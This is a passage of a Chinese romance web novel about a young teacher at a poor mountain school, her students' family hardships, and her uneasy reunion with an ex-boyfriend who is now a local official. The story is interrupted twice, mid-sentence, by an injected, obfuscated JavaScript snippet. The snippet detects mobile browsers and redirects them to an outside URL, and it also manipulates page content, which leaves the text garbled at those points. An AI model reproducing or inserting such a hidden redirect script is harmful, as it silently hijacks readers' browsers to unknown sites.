他们好奇地打量着这位新来的女老师,不时发出两句惊叹。 程老师的手腕很细,从真丝衬衫袖口中露出来,白得像过元宵节时总会端上桌的醪糟汤圆,浮在汤汁里,有股颤巍巍的透亮。 她的头发浓黑顺滑,弧度轻盈地披垂在肩膀上,日光照在她身后时,整个人都散发着柔软的香气。 而程江雪粗略地算了算,女孩子连十个都不到,剩下的全是男生。 她在心里叹口气,从容地迈上讲台,笑着环视了一圈下面:“大家好,我是接下来要教你们一年语文的老师,我姓程,程江雪。” “是独钓寒江雪的江雪吗?”前排扎两个小辫的女孩子举起手问。 程江雪放下书,走到她的身边:“是呀,你叫什么名字?” 女孩子高声回答:“我叫李小枣。” “小枣,你的名字听起来很可口。”程江雪随手拿了一本崭新的碎花本子,“这是送给你的见面礼,希望我们相处愉快。” 李小枣没想到随便回答个问题就有奖励,高兴地说:“谢谢老师。” 程江雪摸了摸她的辫子:“不客气。” “老师你从哪里来啊?”有胆大的男生举手发问,“离我们这里很远吗?” 程江雪说:“江城,离白水镇大概一千八百公里,蛮远的呢。” 一个带了头,下面也乱哄哄地讨论起来。 “江城是什么地方?” “大地方,不过我没去过,我到的最远的地方是县城,我哥娶我嫂子的时候,我奶奶带着我去买喜糖。” “看老师的打扮就知道噻,她这一身衣服应该很贵。” 一下子就跑题了。 程江雪拍了拍手掌,重新站上讲台,大声对着孩子们说:“好了,老师是哪儿的人不重要,重要的是,接下来踊跃和老师互动的同学都有礼物,你们准备好了吗?” “好了!” 响亮整齐的回答给这节课开了个好头。 第一节课,程江雪连书都没翻开,根本不碰课本上的内容,而是在黑板上写了八个大字——“行道迟迟,载渴载饥”。 有基础好的同学已经认出来,抢答说:“老师,这是我们六年级下册语文书上的一首诗,叫《采薇》。” 程江雪点头:“对,老师就是想和你们讲一讲这句话,谁能告诉我什么意思?” 后排有个女孩犹犹豫豫地举起手。 她看上去健康却腼腆,皮肤被晒成熟透的小麦色,手指缝里满是黑泥,指腹上沾着还来不及擦干但已经干涸的血迹,伤口呈锯齿状,像是被镰刀割出来的。 吴校长介绍过,说像他们这么大的孩子,在农忙的时候,四五点钟就起来了,帮着家里干一阵活儿,到点了再背着书包来学校。 她还将信将疑,睡眠时间不充分的话,哪里有精力学习呢?当家长的怎么忍心? 程江雪点了下她:“你来说,不过在说之前,先告诉我你叫什么名字?” “生南,我叫......白生南。”她说话的声音很小,像不好意思讲出口。 毕竟她这个名字封建得通俗直白。 程老师文化水平那么高,不会不知道她父母是嫌弃她,想再要个弟弟的意思。 这个镇子不大,姓白的汉族人口几乎占了百分之七十。 程江雪若无其事的,拿了盒圆珠笔走下去,到了她的身边:“好,白生南,这句话是什么意思?” 老师的嗓音很好听,念她这么个粗浅名字都清脆生动,而且也没有惊愕的表情流露。 这让白生南得到鼓励,勇气更足地说:“是说道路泥泞,很难行走,而我的身体又饿又渴,非常疲惫。” “答得好。”程江雪拍了下她的肩膀,“这盒笔奖给你,你很优秀,以后也要多回答问题,不要害羞。” “谢谢老师。”白生南拿着笔,多巴胺配色的漂亮笔盒和她粗糙的手指形成鲜明的对比,她无所适从地坐下。 程江雪又站回讲台上,她说:“我希望大家都能记住,学习也是一个艰难的过程,一路上我们会遇到很多困难,吃很多的苦,但是没有关系,只要抱着一个坚定的信念,我们就一定能走得完,走得好,取得我们想要的成绩。” 来之前她就想过了,也许比起城里的孩子们来,他们更欠缺的不是物质条件,而是强大的意念支撑。 学习枯燥乏味,要是得不到支持,再看不到光明的前景,说放弃也就放弃了。 她必须要帮助他们,尤其是为数不多的这几个女孩子。 要让她们从根本上把信心树立起来,走出这座连绵的大山,靠个人奋斗去跨越命运预设下的鸿沟,去见不同的风景,以寸功之累,攀登到迥异于初始坐标的生命高度。 7.再见 第七章 白水中学只有初中,一共六个班,初一到初三各两个,加起来不到二百人。 镇上没有高中,初三毕业以后,成绩优秀,考上广黔中学的孩子,就要去县里寄宿。 程江雪带初一,两个班同时教,还主动担任了小枣她们的班主任。 周三上午的课程结束,她的案头摆着刚收上来的作业本,是她前两天布置的,要求每个学生都写一篇作文,描写我与家庭成员的一天。 程江雪特意把那十几个女孩子的抽出来,放在了一边。 这些她要看得更仔细一点,给她们每个人建立一份档案,了解清楚具体情况。 “程老师。”下课铃响了没多久,李峥就回到了办公室里,他站在桌前问,“下周的欢迎会在镇上的小礼堂举行,我们一起去吧?” 问完,他飞快地瞥了她一眼,又垂下头。 空气凝滞了几秒。 程江雪手上拿了支红色水笔,低头读着班上女孩子的作文,无所谓地嗯了声。 和谁去都一样,何况他们是一个地方来的,一起出现无可厚非。 她的声音很轻,像羽毛落水,溅起的涟漪荡在他心里。 李峥哎了一声,手指无意识地搓着裤缝,微微发麻。 “你还有事吗?”程江雪看完这一本,写下评语和分数后,合拢放在了最上面,抬眸时,看见他仍在看着自己。 李峥赶紧摇头:“没有没有,你忙。” 程江雪保持着礼貌,略微点了个头,就继续看作文了。 下一篇是白生南写的,她的字很清秀,笔迹像人一样瘦长,没有很张扬的撇捺,每个字都稳稳地坐在蓝色方格里,横是横,竖是竖。 她写了满满两页,花了大量笔墨夸赞她任劳任怨的妈妈。 “妈妈是个漂亮聪明的女人,一张清水脸,小而尖细的下巴,能把简陋的家收拾得很干净,可流产了几次后,身体差了很多,虽然她总说把我培养好就够了,但还是怕亏欠他们白家,于是拼了命地要生个儿子。我想要反对她,可又发自内心地希望她这一胎是个弟弟。这样她就不用再挨打挨骂,日子也能好过一点。” 到了她父亲这里,全是负面的书写——“早上起来,我看见他抱着酒瓶子睡在柴房旁,人事不省,不知道又在哪里赊了酒喝,也不知道过一阵子,妈妈要给他还多少酒钱。而我跟在妈妈身后,扭头看了一眼那个醉汉,回头时,视线和她凸起的肚皮相撞,竟然被吓了一跳。一种预感涌到我脑中,有这样一个人在,我们家迟早会完蛋。” 这个镇上多的是游手好闲的男人。 程江雪也想象到了,如果不是父亲这一角色的缺席,白生南的手也不会伤痕累累。 所以她才会连爸爸也不肯叫,宁可称呼醉汉。 不到十四岁的小姑娘,还没有那份底气将失望和愤怒宣之于口。 以白生南目前的知识结构,也不明白父权社会对她们母女关系的离间,和对妈妈日复一日的蚕食。 她只是默默地妥协,暗自祈祷妈妈能生下一个改变处境的弟弟,尽管她很不喜欢。 程江雪深吸一口气,她轻轻关上作文,心中涌起一股无力感,仿佛看到了无数个像白生南一样的孩子,在破碎的家庭中挣扎。 她知道,自己能做的有限。 但至少她可以在课堂上给予她们更多的关注和鼓励,让他们感受到一丝温暖和希望。 程江雪拿起红笔,在作文末尾写下长长的话语,字里行间满是对白生南的理解,希望这些字能像一束光,照亮她心中的阴霾。 而她也如自己判断的那样,是个学习悟性高的好苗子,行文流畅,文笔简洁,还有几处让人眼前一亮的比喻,像粗陶罐里插着的新鲜花枝,有股拙朴的灵气。 “李老师。”程江雪的笔点在作文末尾处,“我想问你,白生南的数学底子怎么样?” 李峥往上推了下眼镜,不敢打包票:“还没摸底考试,她上课发言也不是很积极,但课堂作业完成得不错,我也不好下判断。” 他只知道,这边的孩子基础都不太好,很多四五年级就该过关的运算,到了初一还是弄不懂。 见程江雪沉思不语,他说:“程老师,我有个想法要和你交流一下。” “我也有,要不然你先说。”程江雪把头扭过来,温柔地笑。 李峥说:“女士优先,你说吧。” “好。”程江雪也不再推辞了,“这儿的孩子底子都不太扎实,我想课余再给他们开个补习班,你觉得是上晚自习好,还是周六周日白天来上课好?” 李峥笑说:“我也是这个意思。不过,最好是周末吧,不少孩子住得远,像我们班的白彩霞,每天要走七八里路,天不亮就起来了,早饭都要在路上解决。” 程江雪了解,彩霞也是她关注到的小姑娘,是她在一班的语文课代表。 她父母早逝,跟着姨妈还有年迈的外婆,住在山坡上的老房子里,姨妈家里条件也不好,还生了两个儿子,一家人都靠姨父做泥瓦工养活。 但她在作文里写,姨妈说自己小时候吃了不识字的亏,总是让她好好读书,不管多难,都会抚养她长大,供她上学。 程江雪想得简单:“嗯,还在长身体的年级,早上起得那么早,晚上还是早点睡好。” “回去了他们也早睡不了,还不是要帮着家里干活儿。”李峥翻开数学练习册批改,他说,“我是怕放学太晚,深更半夜的,一个女娃独自走山路,安全系数太低,出了事学校不好交差。” 这一点她忽略了。 程江雪说:“那就这么说定了,明天我们一起去找吴校长,听听他什么意见,还有怎么安排课程表。” 李峥:“好啊,你先紧着你方便,我怎么样都可以。” 她点点头,唇珠上还沾着刚吃过的蝴蝶酥碎屑,流露一抹浑然的稚嫩。 李峥也看得笑了:“这么好吃啊,嘴上都沾到糖霜了,也给我来一块?” 程江雪反应过来,恍然笑了,伸手擦了擦,站起来探过身,递了一包给他。她说:“这个很好吃的,出发之前,我哥特地排队去给我买呢,被我吃的就剩下两块了,给你。” 由远及近的轻柔香气里,李峥局促地看她一眼。 随便说说的,她怎么还真给。 他拿到嘴边,怕吃得不雅观,有碎屑掉下来,很小心地尝了一口,点头:“嗯,是好吃。” “看吧,我没骗你。”程江雪拍了拍手。 正要坐下时,办公室的玻璃窗外出现几道身影,全都穿了一色的白衬衫黑西裤。 是来学校视察的县政府领导们。 吴校长走在前面,神情稍显紧绷,引了他们进来后,介绍说:“陈书记,这里是教师办公室,两位刚从江城过来支教,李老师,程老师。” 难怪今天早上过来,学校操场上不见一片落叶,花坛里的新土也湿润发黑,原来是有检查。 程江雪正好还站在那儿,微笑着点了个头:“书记您好,我是程江雪,刚到白水镇不久。” 她音调适中,不高也不低,清脆柔和,也不见丝毫紧张,比吴校长还松弛。 跟在身后陪同的周覆不悦又费解地扬起了一侧的唇。 最后两块蝴蝶酥了,还要让一块给这个小伙子吃,他也好意思要。 看了他们半天,在办公室旁若无人地聊什么? 就那么高兴,那么谈得来。 陈书记步履沉稳,目光带着一种习惯性的审视,对她说:“程老师小小年纪,就能有这种觉悟和付出,难能可贵。” “谢谢您的鼓励。”程江雪说。 她的回答振奋有力。 工作后,程江雪被爸爸带着见了不少人。 老程的教诲是,在这种特定情境之下,要表态度、落行动,避免自满或空话,千万不能揽功于己,最好将原因归于组织培养和优良传统等更高的层面。 但程江雪的极限是诚恳表态,再要她说什么这是向先进们看齐的结果,也实在讲不出口了,她脸皮太薄,容易红。 反观李峥,就显得格外忐忑不安。 陈书记问他习不习惯这里的生活时,他的手一直在抖,两句话结巴了三次,在场的人都没听清他说了什么。 陈书记安抚性地笑了笑,点了个脑子活,能调节气氛的人来问:“来,我们组织部的选调生来谈谈感悟。” “挑战不小,收获很大。”周覆利落地总结了八个字后,风趣地展开,“也切切实实地体会到了基层工作的辛苦,比以前坐在办公室里得到的锻炼更多。就像咱们主席说的,真是上面千条线,底下一根针哪,我正在努力,努力转型成全天候办事员。” 说得一行人都笑起来。 他说话的过程中,程江雪眼中浮起一种奇异的专注,视线不由自主地挪到他身上,连睫毛都不听使唤地上抬。 周覆就是有这种本事,能波澜不惊地吸引所有人的注意力。 但他的头一转过来,她的眼珠子又假装不经意地撇开,游动在桌沿杂乱的木纹间。 紧张被冲淡以后,吴校长继续带着他们往前。 周覆刻意落在了队伍后头,路过李峥的办公桌时,拍了拍他的背:“别哆嗦,把背挺直了,小事儿。程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125694|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师的蝴蝶酥你都问来吃了,怕什么?” 他说着末尾三个字的时候,手搭在李峥简薄的肩膀上,耐人寻味的目光瞟着程江雪。 神经病吧。 程江雪瞪着他的背影想,就爱说点不搭噶的话。 补课的事情很顺利,几乎是他们两个一开口,吴校长便举双手赞成。 过后又歉疚地表示,就是太辛苦二位老师了,本来白水镇的条件就不好,吃住都还要尽力克服,怎么还好意思让他们周末加班? 程江雪摇头说:“没有,我觉得这边的菜酸辣可口,而且我也不怎么喜欢吃肉,吃吃野菜蛮新鲜的呀。” “我也是,来一趟总要做点什么贡献。”李峥也说。 “好好好,我先替学生们谢谢你们。”吴校长欣慰过后,又担心起更实际的问题,“不过教育部有明确规定,中学生不让补课,要是有家长去告状就不好了。” 程江雪慧黠地眨了眨眼,笑说:“这个不用担心,我之前就研究过了,国家是不允许有偿补课,我们又不收费,连卷子我都可以掏钱印的,他告么就让他去告好了。” “对,那就这么办!”吴校长看着眼前这个小姑娘的笑容,也不由地被她感染。 不知道程老师在家中当女儿是副什么惹人爱的样子,爷娘一定疼到心坎儿上。 谈话结束后,他们就安排了场地,一班拿来补习语文,二班用来巩固数学。 第一周试了试课,取得了还算理想的成效,反对的声音没听见,倒是不少明事理的家长特地等在校门口表达感谢。 还有些条件过得去的父母,甚至要送一篮鸡蛋给程江雪,她忙摆手退回去:“这个不要了,您支持我们的工作,肯把孩子交给我们,比什么都强。” “支持!老师为了娃娃们的学习,为了整个镇子的升学率呕心沥血,一百个支持!” 到了开欢迎会的日子,这天放了学,程江雪收拾好东西,走出办公室。 李峥在她下楼前叫:“小雪,一会儿我到你宿舍楼下等。” “等我干什么?”程江雪不解地问。 李峥笑:“你忘了,今天晚上有欢迎会呀。” “哦,我还真忘了。”因为各方面时间都调不开,欢迎会拖得太久,程江雪都没什么印象了,她说,“好,不过我没那么快。” “没事,我也不会太早过去。” 程江雪转过身,扶着红漆栏杆才想起来,她刚来的第一天,周覆好像就说过这个问题,关于李老师怎么叫她。 也许就是想拉近关系吧,她想。 走下两格台阶后,又觉得懊恼。 她也不小了,干嘛还这么在意周覆的话?她难道处理不好同事关系? 白水中学离白水乡政府不远,笔直的一条大道,走路也就十分钟的事。 不像她在江城时,从家到学校要换乘两趟地铁,开车又堵得人想死。 九月天热,西边天上的日头烧尽了最后的红霞,沉甸甸地坠下去。 几个早归的乡民扛着荷锄路过,黝黑的脸上刻印着岁月的风霜,都用一种好奇的目光打量她。 而程江雪撑着伞,手上拿了几本书,霞光映亮她半边沉静的脸,从容不迫地走着。 到了政府门口,从侧门里出来个人叫她:“程老师,抱这么多书能拿得动吗?要不要我帮你。” “不用,习惯了。”她说。 叫她的是吴珍玉,那天引发暴力冲突的女主角,吴校长的侄女,大专毕业后就回了家,在镇政府里当复印打字员。 最近村子里讨论最多的,也是她的婚事。 地方小就是这样,一点子事能迅速传遍各个角落,中学的老师们课后都在闲谈。 程江雪在办公室里改作业时,被迫听了不少,关于吴会计的首鼠两端。 说他才同意了女儿和王得富的婚事,哄得小伙子拼了命地去城里打工挣钱,就为了凑够给女方的彩礼。 可到头来,他老人家又看上了家境更好的白大勇。 既如此,当初何必又要装开明呢,怎么能叫王得富不生气? 但珍玉本人倒坐得住,这个小姑娘文静内敛,即便身处流言旋涡,每天还是照常上下班,也不逢人就言说她的苦恼。 珍玉打扮简单,也不像当地的彝族少女一样,穿繁琐厚重的服饰,一条浅蓝色的齐膝连衣裙,领口处被溪水洗得发白,裙摆也松垮垮的。 她很瘦,皮肤被晒成结实健康的蜜色,用一条靛蓝帕子绑了长发。 那帕子也是很素净的,只有边缘绣了一圈几乎看不见的小花,泄露了一点属于姑娘家的鲜亮心事。 8.再见 第八章 珍玉和程江雪同行,她手上拿了几张A4大小的纸,笑说:“你回宿舍吧?我也刚好要去一趟,找周委员。” “哦。”程江雪看了眼她的东西,“是要把这个给他吗?” 珍玉点头,语气和脚步一样雀跃:“对,下午他路过打印室门口,让我复印一下他的身份证。我当时在校对一份文件,没来得及,等我复好他人都走了。也不知道急不急着要,我只好给他送来了。你看,他身份证都在我这里。” 下班了都没想起来,那当然是不急着要。 而珍玉知道她要回宿舍,也没有让她顺路带回去,要亲自给周委员的意思,再明显不过了。 程江雪在心里这么分析了一遍,没明说。 她撇了下唇角:“周委员连身份证都要人帮忙复印呀,自己弄才几秒钟。” 不过随口一句玩笑,但珍玉很当真的样子,像怕耽误了周覆的光辉形象,卖力地解释:“不是的,他那会儿刚下乡回来,又急着去开整改会,平时他能做的都自己做了,很少使唤我。不像有的领导,都快懒成贼了,把工作都推给我一个临时工做,真好意思。” “我是瞎讲的,和你开玩笑呢。”程江雪淡笑了下,“别紧张,也不用这么认真。” 珍玉意识到自己反应过激。 剩下的那段路里,她一句话都没再说。 路过宿舍楼下的树荫处时,程江雪扭头看了珍玉一眼,她脸颊泛红,像一颗熟透了的莓果。 也不知道是走热了,还是为了别的什么。 “程老师,我先走了哈。”上了楼,珍玉就没再与她同行了,快步跑上去。 程江雪仍慢悠悠地,一步一个台阶地走:“好啊。” 才上到一楼末尾,就听见走廊上传来的交谈声。 “周委员,你看看你都把什么落在我那里了?”珍玉的声音很有辨识度,尤其音调变化的时候,带着明显的母语痕迹。 “噢,身份证。”周覆刚洗完澡,正用一条干毛巾潦草地擦头发,“开会开得我头昏脑涨的,又踩了一腿的泥水,光记着回来换衣服了。” 一身灰色休闲服紧贴着他的线条,发梢上的水珠滴落下来,滑过他冷白的脖子,盛在锁骨的凹陷处,舀出一勺昏黄的暮色。 他说话的同时,一团裹着乌木沉香的冷湿雾气朝珍玉吹来。 她清晰地感觉到脸上的温度在飙升,目光像林子里受惊的小鹿,猛地跳开。 “给......给你。”珍玉把原件和几张复印件一起交到他手里。 周覆信手丢开毛巾,拿过来,把身份证随手揣进了兜里。 再看最上面那张,整个版面都被他的证件照占据,其余内容一概缺失。 他举起来转过去,笑着说:“这也是你给我复的?” “对,我一开始选错比例了。”珍玉赶紧抢下来,脸更红了,“后面那张才是正确的。” 周覆以为她是羞赧,也没在意:“我说呢,那么大张照片,跟张通缉令似的。” 珍玉的身体僵硬在原地,目光混乱到不知道该往哪儿看,乍然听了这么一句话,哧的一声笑起来。 “麻烦你了,还特地给我送一趟。”周覆两根手指夹着那张尺寸无误的,跟她道谢,“马上就要去开会,得把它放档案袋里。” 珍玉站在门口摇头:“没事的,我正好要去小礼堂,顺便的事,晚上不是有欢迎会吗?新来了两位老师。” 周覆拖着长腔哦了声,像是记起了什么:“那你是该去玩玩儿。” “周委员。”珍玉忽然仰着脸看他。 周覆很自然地答:“嗯,怎么了?” 他说这一句的时候,程江雪刚踏完二楼的最后一个台阶,转个身就能出现在他们的面前。 傍晚未消散的腾腾热气里,周覆富有磁性的声音像清凉的水波一样,一圈圈地荡开在耳边。 程江雪握住的书页边缘在掌心里被汗浸软了,卷了角。 珍玉没敢看他,指着房中地上那盆他换下来的衣服:“周委员,我帮你洗了吧,也不用那么早过去。其实......我不怎么想见人,不去也可以的。” “那怎么行?”周覆的语速缓了下来,微微俯身,“我的衣服你不要管了,先告诉我,你为什么不想见人?” 珍玉的声音细若蚊呐:“因为外面都在传我的闲话,说我......不,是问我一副身子要配几个人家?” 听完,周覆劝她说:“这不是你的错,小吴,也没有人说你的不是,就算有也不需要自责。你只要考虑清楚,你愿意、适合和谁在一起,这才是头等大事,其他的都不重要,流言总有过去的一天。” 他很好,没有像其他男同事一样,用那种道德审视的目光看她,或者干脆装不知道,事不关己地搪塞两声。 “嗯,谢谢。”昏黄的日光停驻在她俏皮的雀斑上,珍玉点了点头,“那我就先走了。” “好。” 珍玉匆忙跑开了,在楼梯口再度碰到程江雪时,双颊绯红地朝她点了个头。 程江雪也弯起唇笑了下。 看看,周委员虽然长了岁数,但魅力不减当年。 得了他两三句劝慰,小女孩下楼时像只鸟儿一样,卸下了沉重的心事后,轻盈地飞远了。 周覆还没进去,就看见程江雪打眼前过。 她抱了几本书,双眼浑圆如打磨好的珍珠,目光扫过自己的时候,连多余的顿挫都没有,冰冰凉凉的。 “这么早就下班了,程老师?”有别于和吴珍玉谈话时的严肃,周覆垂眼看她,嘴角不由自主地想往上翘,又怕表情变化太明显,硬生生顿住了。 程江雪没理,横了他一眼后就走了。 回到房间,她先把手里的书放在桌面上,漫无目的地在屋子里转了两圈。 也不知道自己要干什么,只觉得胸口塞了一团湿柳絮,沉重地往下坠,又随着气血流动,膨胀地往上顶。 她撑着支开蚊帐的竹竿,被这道蛮力逼迫地张嘴呼吸,但吸进去的也只有稠热的,裹着虫鸣的暑气。 知了的嘶喊一声叠着一声,绿叶的影子一样层层钉在玻璃窗上,叫得人头疼。 程江雪站了会儿,瞄到了柜角里摆着的一箱水。 她到的第二天周覆就搬来了,为了表示感谢和划清界限,她又当场转了钱给他。 可有什么用? 这些刻意为之的自我矫饰,千辛万苦构筑起的平和心态,在看见周覆安慰别人的时候,闹了个溃不成军的大笑话。 她脑中盛大又丰荣的幻觉被一根细针刺破了。 尽管她心里很清楚,周覆连半点越过边界的动作都没有,甚至没有请珍玉进门,且有意保持了一米以上的社交距离。 他只是出于对同事的关心,不管珍玉是男是女,周委员都会说这么一番话。 周覆一直都擅长倾听,也善于共情,是个很能装下他人情绪的人,且不轻易做任何评判。 这是他的涵养和风度,也是他一以贯之的处世之道,用一两句恰到好处的言语和润物无声的体贴,轻松换取对方最大可能的信任和支持,一点一滴地积累在单位里的好感与人情。 再讲得功利直白一点,这是一个合格公职人员的基本素养和生存刚需,和其他的都没关系。 程江雪全都明白。 但就是有一种不适感粗粝地剐蹭着她的喉咙,令她觉得不舒服。 她弯下腰,从纸箱里拿了一瓶水,拧开盖子喝了一小口。 也许她只是单纯渴了,并不是为了别的什么。 他们分手三年了,周覆和谁在一起,有多少人青睐他,都已经不关她的事。 程江雪放下水,从临时搭起的简易衣架上取了条裙子,在脸盆里装上洗漱用品。 走回来出了不少汗,她想在参加欢迎会前洗干净,再化个淡妆过去,是对筹办者起码的尊重。 日影西偏,把浴室狭长的过道切割得一道明,一道暗。 经过公共水池旁的镜子时,程江雪忽然停住脚,看见里面微蹙着的一双眉。 她就知道,每个人一生要面对的困境几乎都是量身定制的,除非真正跨过去,否则谁也别想蒙混过关。 过去三年被强制压下、未被处妥善理好的情绪,早晚会在重新见到周覆的这一天反扑回来,命运会把她一遍遍地推到隘口,直到她六根清净,百毒不侵。 哪怕这些道理她都懂,依然敌不过爱情强大的惯性。 好在她在白水乡也待不了多久。 等到回了江城,再想碰到周覆也难。 程江雪关好浴室的门,脱了衣服后,她仰着头,任由湿热的水流从花洒里淋下。 再穿着睡裙出来,莫名其妙的心事也去了大半。 她回了房间,把脸盆放下,弯着腰,正要将沐浴精油塞回柜子里时,目光落在右侧上方那块斑驳、快要脱落的绛色漆皮上。 一只外皮油亮的花背蟾蜍静静地伏在那里。 它和程江雪四目相对,鼓胀的眼泡毫无生气地转动着,前肢粗壮,蓄势待发,像随时要跳到她的身上来。 “啊——” 程江雪的呼吸险些停了,喉咙里控制不住地发出一声短促凄厉的尖叫。 她猛地向后退,拖鞋在干燥的地面摩擦出刺耳的声音,因为退得太快,不留神摔在了地上,掌心被刮得生疼,但又顾不上,一只手哆哆嗦嗦地撑住了,想迅速站起来。 周覆听见动静,丢下手头的事赶到时,就看见一道瘦削的雪白肩膀,瑟瑟抖着。 “怎么了?”周覆将她扶起来问。 程江雪胸腔里那颗心还在高频跳动,声带仍因刚才的惊吓死死地绷紧了。 她张开嘴,半天发不出一个音节。 周覆拍了拍她的背,再一次温柔镇定地问:“别怕,发生什么事了?” 程江雪仰起下巴,看了他两秒钟之后,回过神,身体倏地就缩到了周覆宽阔的背后面,轻柔地像一片被晚风吹过来的叶子。 “癞......癞蛤蟆。”她伸手指了指里面,声调也比平时高,裹着七魂未定的颤音,像是快哭了,“它背上是灰的......不,全是斑斑点点,它就那么趴着,离我这么近,我去放东西的时候,差点摸到......” 人在惊悸之下,说话会变得颠三倒四,语速不自觉加快。 程江雪现在就是。 周覆真怕她下一秒就会哽住。 而她的另一只手,急切地,带着抓握的力道,紧紧揪住了他的衣服下摆。 周覆的手往后伸过来,温和有力地握住了她:“好,没事,我过去看看,帮你把它赶走,不用怕。” 平复了一些之后,她轻轻点头。 因为贴得太紧,她的呼吸急促而压抑,温热的气息拂在周覆背上,发梢还在往下滴水。 一滴,一滴,又一滴。 无声地洇湿了一小片衣料。 周覆的脚步像被什么绊住,他走得很慢。 比起那一只长得吓人却没什么攻击性,甚至还能消灭蚊虫的蟾蜍,程江雪更叫他手指发颤。 她的房间太香了,没进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135843|179753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来多久,一股浓郁的橙花气味便围困住了他,让人气息紊乱。 她还是钟爱这种蒸馏提纯的花香。 很久没闻到过,周覆短暂地闭了阵眼,喉结微动。 重逢以来,每次和她说话,他都不敢用力呼吸,现在居然闯到她房里来,够自不量力的。 真是担心什么就要来什么。 就这么紧迫的状况下,周覆脑中还没由来地响起她念过的一支曲牌——“怕黄昏忽地又黄昏,不销魂怎地不销魂。” 好像是王实甫写的吧,那时候她很喜欢倚在他耳边,嗓音甜软地讲这些给他听。 那只蟾蜍仍伏在那儿,似乎很喜欢衣柜这个纳凉场所,周覆四处看了看,从墙角拿了个小纸盒,慢慢地靠近了柜子。 程江雪一直跟在他身后,不敢离开半步。 快接近目标时,周覆手臂飞快地伸出去,别说蟾蜍来不及做出反应,一下子就被盖住了,连程江雪都看直了眼。 他偏了偏头,对程江雪说:“去拿一本大一点的本子来。” “哦。”她跑开,拿了本没用过的硬壳本给他。 周覆接了,叮嘱她:“站过去一点,我要把盒子挪到柜边再盖上,也不知道这东西会不会再跳出来,别又吓着你了。” 程江雪点点下巴,退后过去,又迟疑地说:“那......那你注意点。” “没事儿。”周覆往后扭过脸,朝她笑了下。 难得,重逢以来她总算主动关心了他一次。 他小心将纸盒挪过来,动作轻缓。 程江雪的目光紧紧追随,神情里中透出一抹自己都没察觉的关切。 周覆把盒子盖在了笔记本上,转身对她说:“好了,我把它拿出去放了。” 呼。 程江雪的手搭在胸前,重重地舒了一口气。 周覆端着盒子出去,高瘦的身形消失在朦胧昏淡的光线里。 她坐下来,下意识地伸手去扶床沿,掌心蹭在铁架上时,带起火辣的刺痛。 程江雪抬起右手一看,几道轻微裂口分散排布,边缘沾着灰扑扑的土,不断渗出细小的血丝。 她轻吹了几口气,稍微缓解了一些。 程江雪站起来,往前走了两步,弯腰拉开桌子最底下的抽屉,拿了瓶碘伏和棉签。 这些基本药品程江雪都准备了,就怕有个磕碰。 她也懒得再站起来,把东西一股脑放在地上,右手手心无奈地朝上摊着,费劲地用一只手拧瓶盖。 “程......”周覆进门时,抬眼没有看见人,低头才发现,窗边桌前缩了团影子。 她蹲在地上,膝盖将丝绸布料绷起来,肩胛骨在她雪白单薄的脊背上清晰地凸起,像两片随时能被人捏紧的翅膀。 他们还是男女朋友的时候,周覆从没考虑过要如何捉住这只轻盈的蝴蝶。 她很自由,想飞走随时能飞走。 他对这段恋爱的态度也宽松,要在一起就在一起,要分手就分手。 再年轻五六岁的光景,他的心是一扇大开的门,风进风出,留不下任何痕迹。 觉得程江雪文雅,气质好,举动乖巧合他心意,就约她一起吃饭。 散步时,明目张胆地盯着她颤动的睫毛看,风把她的发梢吹向他的脸,他便伸手接住,替她挽到耳朵后面去,不多思量。 音乐会散了场,他握着她的手在树荫满地的胡同里接吻,唇齿间有香槟的甜腻和夜风的冰凉。 分手也简单,小姑娘毕了业,把留在他那里的东西都收拾干净带走,连个招呼都没打。 转了个身,日子还是一样过。 老实说,这三年他顺风顺水,一步一步按老爷子的要求走,但如果非要归纳自己做了什么,他连一件要紧的也想不起来,因为它们是那样的空泛,毫无陈述的必要。 但不应该是这样的。 从小到大,他做人的宗旨就是快活、享乐,游戏人间。 刚比大院里柳树苗儿高的时候,就敢把他爷爷的红旗车开出去,在使馆区里横冲直撞。谁惹了他们这帮人,半夜约着在高墙外打架,仗义两个字比命还重。毕业后,干一份无所谓成不成功的事业,反正家里也不需要他扬名立万。 爱与恨,聚与散,对他来说都是轻飘飘的,落不到心上。 唯独程江雪,他放下了又拿起来,久久地犹豫不决。 她就像一张怎么也不肯褪色的旧照片,连轮廓都清晰分明。 每次他走在熟悉的街角,在人潮里嗅到一丝香水味,瞥见一道窈窕的背影,心里总是忽然咯噔一下,像踩空了一级莫须有的台阶。 某个忽然惊醒的深夜,他坐在床上,身边空空荡荡的,再也没有一个小姑娘会睡眼惺忪地缠上他的手臂,柔声问他是不是做噩梦了? 周覆才发觉,被他轻易挥霍、浪费掉的究竟是什么。 后来连京里也待不下去,不管做什么都兴致缺缺。 有人问起缘由,周覆也总是寡默着摇头,说没事。 这不是应付,他实在说不上来自己怎么了。 年轻自大的周覆想,因为一个女孩子抑郁消沉这种事儿,无论如何也不会发生在他身上吧,讲出去怪臊的。 而程江雪正在江城读研读得风生水起,听说爱慕她的人从图书馆追到她家里。 在这种状况发展到连跟哥儿们喝酒也消磨不掉一个周六夜晚时,他终于意识到问题的严重性,这才答应随父亲一起到西南来。 他劝说自己,离开了那个特定的环境就会好的。 总会好的。 9.再见 第九章 程江雪听见叫她,抬起头,一看是周覆:“ 你把它丢出去了吗?下次不会再有了吧?” 